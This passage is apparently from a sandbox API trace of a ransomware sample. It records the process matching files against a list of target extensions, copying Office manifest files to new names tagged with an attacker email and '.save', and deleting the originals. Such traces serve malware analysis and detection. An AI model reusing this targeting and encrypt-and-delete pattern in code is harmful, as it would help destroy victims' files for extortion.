lpString2=".xml") returned -1 [0058.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0058.399] lstrlenW (lpString=".jpg") returned 4 [0058.399] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0058.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0058.400] lstrlenW (lpString=".doc") returned 4 [0058.400] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.400] lstrlenW (lpString=".docx") returned 5 [0058.400] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.400] lstrlenW (lpString=".pdf") returned 4 [0058.400] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.400] lstrlenW (lpString=".xls") returned 4 [0058.400] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.400] lstrlenW (lpString=".xlsx") returned 5 [0058.400] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.400] lstrlenW (lpString=".ppt") returned 4 [0058.400] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0058.400] lstrlenW (lpString=".zip") returned 4 [0058.400] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.400] lstrlenW (lpString=".rar") returned 4 [0058.400] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.400] lstrlenW (lpString=".bz2") returned 4 [0058.400] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.400] lstrlenW (lpString=".7z") returned 3 [0058.400] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0058.400] lstrlenW (lpString=".dbf") returned 4 [0058.400] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0058.401] lstrlenW (lpString=".1cd") returned 4 [0058.401] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0058.401] lstrlenW (lpString=".jpg") returned 4 [0058.401] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.401] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0058.401] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53 [0058.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0058.401] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1261) returned 1 [0058.401] CloseHandle (hObject=0x314) returned 1 [0058.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0058.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0058.402] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.402] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0058.403] GetLastError () returned 0x0 [0058.403] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0058.404] WriteFile (in: hFile=0x374, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0058.405] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.405] WriteFile (in: hFile=0x374, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0058.405] SetEndOfFile (hFile=0x374) returned 1 [0058.406] CloseHandle (hObject=0x374) returned 1 [0058.407] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.407] SetEndOfFile (hFile=0x314) returned 1 [0058.408] CloseHandle (hObject=0x314) returned 1 [0058.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0058.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1 [0058.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0058.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0058.409] lstrlenW (lpString=".doc") returned 4 [0058.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.409] lstrlenW (lpString=".docx") returned 5 [0058.409] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.409] lstrlenW (lpString=".pdf") returned 4 [0058.409] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.409] lstrlenW (lpString=".xls") returned 4 [0058.409] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.409] lstrlenW (lpString=".xlsx") returned 5 [0058.409] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.409] lstrlenW (lpString=".ppt") returned 4 [0058.409] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0058.409] lstrlenW (lpString=".zip") returned 4 [0058.409] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.409] lstrlenW (lpString=".rar") returned 4 [0058.409] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.409] lstrlenW (lpString=".bz2") returned 4 [0058.409] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.409] lstrlenW (lpString=".7z") returned 3 [0058.409] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0058.409] lstrlenW (lpString=".dbf") returned 4 [0058.409] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0058.410] lstrlenW (lpString=".1cd") returned 4 [0058.410] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0058.410] lstrlenW (lpString=".jpg") returned 4 [0058.410] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0058.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0058.410] lstrlenW (lpString=".doc") returned 4 [0058.410] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.410] lstrlenW (lpString=".docx") returned 5 [0058.410] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.410] lstrlenW (lpString=".pdf") returned 4 [0058.410] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.410] lstrlenW (lpString=".xls") returned 4 [0058.410] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.410] lstrlenW (lpString=".xlsx") returned 5 [0058.410] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.410] lstrlenW (lpString=".ppt") returned 4 [0058.410] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0058.410] lstrlenW (lpString=".zip") returned 4 [0058.410] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.410] lstrlenW (lpString=".rar") returned 4 [0058.410] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.410] lstrlenW (lpString=".bz2") returned 4 [0058.410] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.410] lstrlenW (lpString=".7z") returned 3 [0058.410] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0058.410] lstrlenW (lpString=".dbf") returned 4 [0058.410] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0058.411] lstrlenW (lpString=".1cd") returned 4 [0058.411] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0058.411] lstrlenW (lpString=".jpg") returned 4 [0058.411] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.411] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0058.411] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53 [0058.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0058.411] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=2147) returned 1 [0058.411] CloseHandle (hObject=0x314) returned 1 [0058.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0058.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0058.412] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.412] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0058.412] GetLastError () returned 0x0 [0058.412] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x863, lpOverlapped=0x0) returned 1 [0058.817] WriteFile (in: hFile=0x374, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x870, lpOverlapped=0x0) returned 1 [0058.818] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.818] WriteFile (in: hFile=0x374, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0058.818] SetEndOfFile (hFile=0x374) returned 1 [0058.819] CloseHandle (hObject=0x374) returned 1 [0058.820] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.820] SetEndOfFile (hFile=0x314) returned 1 [0058.821] CloseHandle (hObject=0x314) returned 1 [0058.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0058.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1 [0058.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0058.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0058.822] lstrlenW (lpString=".doc") returned 4 [0058.822] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.822] lstrlenW (lpString=".docx") returned 5 [0058.822] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.822] lstrlenW (lpString=".pdf") returned 4 [0058.822] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.822] lstrlenW (lpString=".xls") returned 4 [0058.822] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.822] lstrlenW (lpString=".xlsx") returned 5 [0058.823] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.823] lstrlenW (lpString=".ppt") returned 4 [0058.823] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0058.823] lstrlenW (lpString=".zip") returned 4 [0058.823] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.823] lstrlenW (lpString=".rar") returned 4 [0058.823] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.823] lstrlenW (lpString=".bz2") returned 4 [0058.823] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.823] lstrlenW (lpString=".7z") returned 3 [0058.823] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0058.823] lstrlenW (lpString=".dbf") returned 4 [0058.823] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0058.823] lstrlenW (lpString=".1cd") returned 4 [0058.823] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0058.823] lstrlenW (lpString=".jpg") returned 4 [0058.823] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0058.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0058.823] lstrlenW (lpString=".doc") returned 4 [0058.823] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.824] lstrlenW (lpString=".docx") returned 5 [0058.824] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.824] lstrlenW (lpString=".pdf") returned 4 [0058.824] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.824] lstrlenW (lpString=".xls") returned 4 [0058.824] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.824] lstrlenW (lpString=".xlsx") returned 5 [0058.824] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.824] lstrlenW (lpString=".ppt") returned 4 [0058.824] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0058.824] lstrlenW (lpString=".zip") returned 4 [0058.824] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.824] lstrlenW (lpString=".rar") returned 4 [0058.824] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.824] lstrlenW (lpString=".bz2") returned 4 [0058.824] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.824] lstrlenW (lpString=".7z") returned 3 [0058.824] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0058.824] lstrlenW (lpString=".dbf") returned 4 [0058.824] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0058.824] lstrlenW (lpString=".1cd") returned 4 [0058.824] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0058.825] lstrlenW (lpString=".jpg") returned 4 [0058.825] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.825] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0058.825] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53 [0058.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0058.825] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=2147) returned 1 [0058.825] CloseHandle (hObject=0x314) returned 1 [0058.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0058.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0058.826] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.826] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0058.836] GetLastError () returned 0x0 [0058.836] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x863, lpOverlapped=0x0) returned 1 [0058.838] WriteFile (in: hFile=0x374, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x870, lpOverlapped=0x0) returned 1 [0058.839] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.839] WriteFile (in: hFile=0x374, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0058.839] SetEndOfFile (hFile=0x374) returned 1 [0058.839] CloseHandle (hObject=0x374) returned 1 [0058.840] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.840] SetEndOfFile (hFile=0x314) returned 1 [0058.841] CloseHandle (hObject=0x314) returned 1 [0058.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0058.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1 [0058.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0058.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0058.842] lstrlenW (lpString=".doc") returned 4 [0058.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.842] lstrlenW (lpString=".docx") returned 5 [0058.842] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.842] lstrlenW (lpString=".pdf") returned 4 [0058.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.842] lstrlenW (lpString=".xls") returned 4 [0058.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.842] lstrlenW (lpString=".xlsx") returned 5 [0058.842] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.842] lstrlenW (lpString=".ppt") returned 4 [0058.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned 